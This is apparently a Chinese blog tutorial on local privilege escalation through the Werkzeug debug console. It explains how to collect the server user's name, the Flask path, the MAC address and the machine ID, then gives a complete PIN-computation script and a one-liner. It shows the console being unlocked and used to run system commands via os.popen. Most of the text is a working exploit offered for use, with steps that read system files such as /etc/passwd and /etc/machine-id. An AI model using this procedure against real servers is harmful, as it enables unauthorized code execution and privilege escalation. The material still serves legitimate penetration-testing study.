利用Werkzeug-Debug实现本地权限提升

情景:Flask服务器在某个权限X的用户名下运行,你是系统中的本地用户,拥有权限Y。你可以访问 Werkzeug 用来生成服务器用户 PIN 的信息并成功解锁控制台后,用户作为服务器运行者会获得操作系统权限实现权限提升。

开启Werkzeug-Debug服务后,Debugger PIN码会打印到控制台中。

1、打开一个新终端,以其他用户身份登录 Docker

复制代码
sudo docker ps              
e0866ddaa40c   werkzeug-debug-console:latest   "python3 /app/server..."   About a minute ago   Up About a minute   0.0.0.0:7777->7777/tcp, :::7777->7777/tcp   nice_poitras
​
$ sudo docker exec -u 0 -it e0866ddaa40c /bin/bash
root@e0866ddaa40c:/app#

PIN码生成方式,我们可以反向生成控制台PIN的算法。

https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/init.py

2、识别运行服务器的用户,地址为7777端口

复制代码
sudo docker exec -u 0 -it e0866ddaa40c /bin/bash
root@e0866ddaa40c:/app# ps auxww | grep server
werkzeu+       1  0.0  1.4  39632 29600 ?        Ss   07:53   0:00 python3 /app/server.py
werkzeu+       7  0.0  1.2  40632 24848 ?        S    07:53   0:00 python3 /app/server.py
werkzeu+       8  0.0  1.5  40268 30568 ?        S    07:53   0:00 /usr/local/bin/python3 /app/server.py
werkzeu+       9  0.2  1.3 114928 26816 ?        Sl   07:53   0:02 /usr/local/bin/python3 /app/server.py
root          24  0.0  0.0   3660  1664 pts/0    S+   08:12   0:00 grep server

werkzeu用户在运行服务器,但服务器名称被截断了,可以通过/etc/passwd 查看完整名称。

复制代码
root@e0866ddaa40c:/app# cat /etc/passwd
werkzeug-user:x:1000:1000::/home/werkzeug-user:/bin/sh

3、复制 werkzeug-user 替换 werkzeug-pin-bypass.py脚本的用户名字段 。

4、找到通往Flask的正确路径

复制代码
$ find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.9/site-packages/flask/app.py

5、更新 werkzeug-pin-bypass.py脚本中的上述flask路径。如果使用不同的Python版本或操作系统会有所不同。

6、获取服务器所托管接口的 Mac 地址:

复制代码
root@e0866ddaa40c:/app# python3
Python 3.9.25 (main, Oct 31 2025, 23:16:58) 
[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> str(uuid.getnode())
'2485377892354'

或者通过以下方式获取mac地址:

复制代码
root@e0866ddaa40c:/app# cat /sys/class/net/eth0/address
02:42:ac:11:00:02
root@e0866ddaa40c:/app# python3
Python 3.9.25 (main, Oct 31 2025, 23:16:58) 
[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:02".split(":"))
'0242ac110002'
>>> print(0x0242ac110002)
2485377892354

8、在werkzeug-pin-bypass.py中更新 Mac 地址。

9、在 python3 中运行以下脚本生成机器 ID

复制代码
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)

一句话python命令运行:

复制代码
python3 -c "m=b'';exec(\"for f in ['/etc/machine-id','/proc/sys/kernel/random/boot_id']:\n try:\n  with open(f,'rb') as fp:v=fp.readline().strip()\n  if v:m=v;break\n except:continue\");exec(\"try:\n with open('/proc/self/cgroup','rb') as fp:m+=fp.readline().strip().rpartition(b'/')[2]\nexcept:pass\");print(m)"
复制代码
machine-id:d8433c1e-xxxx-4d3b-8965-xxxxa31dxxxx

10、在werkzeug-pin-bypass.py中更新机器ID。

11、运行这个 werkzeug-pin-bypass.py 脚本获取PIN码

复制代码
$ python3 werkzeug-pin-bypass.py
Pin: 378-947-877

如果一切顺利,我们将会拥有 PIN 码。如果没有,就重新检查上述步骤。

如果使用的是旧版本的 Werkzeug,试着把哈希算法改成 md5 而不是 sha1。

访问 http://127.0.0.1:7777/console 输入PIN码系统解锁,我们可以运行想要的Python命令。

复制代码
>>> output = os.popen("id").read()
>>> print(output)
uid=1000(user) gid=1000(user) groups=1000(user)

或
>>> print(os.popen("id").read())
>>> print(os.popen("whoami").read())

注:执行命令直接返回0代表命令执行成功,可以使用print打印命令执行结果。

附:PIN码计算脚本:

复制代码
#!/bin/python3
import hashlib
from itertools import chain

probably_public_bits = [
	'werkzeug-user',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'2485377892356',# str(uuid.getnode()),  /sys/class/net/ens33/address 
	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
	'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print("Pin: " + rv)
相关推荐
带派擂总14 小时前
Python全栈开发 Day08_控制文件指针移动 异常捕获 推导式
python
XLYcmy14 小时前
面向Agent权限系统的快速审计工具
python·网络安全·ai·llm·飞书·agent·字节跳动
范范@15 小时前
Python进阶 多线程、生成器与协程
python
SilentSamsara15 小时前
SQLAlchemy 2.x:异步 ORM 与数据库迁移 Alembic 完整指南
开发语言·数据库·python·sql·青少年编程·oracle·fastapi
276695829215 小时前
京东随机变速滑块拼图验证码识别(京东E卡)
java·服务器·前端·python·京东滑块·京东变速滑块·京东e卡绑卡
weixin_4684668515 小时前
支持向量机新手实战指南
人工智能·python·算法·机器学习·支持向量机
程序大视界15 小时前
【Python系列课程】Python面向对象(下):封装、继承与多态
开发语言·python
夕小瑶15 小时前
Claude Code 保姆级上手教程(2026 版)
人工智能·python
天月风沙15 小时前
基于机器视觉的实验室器件仓储系统设计——内蒙古自治区国家级大创工程存档
开发语言·python
沈千秋.15 小时前
thinkphp5.2反序列化
网络安全·php·反序列化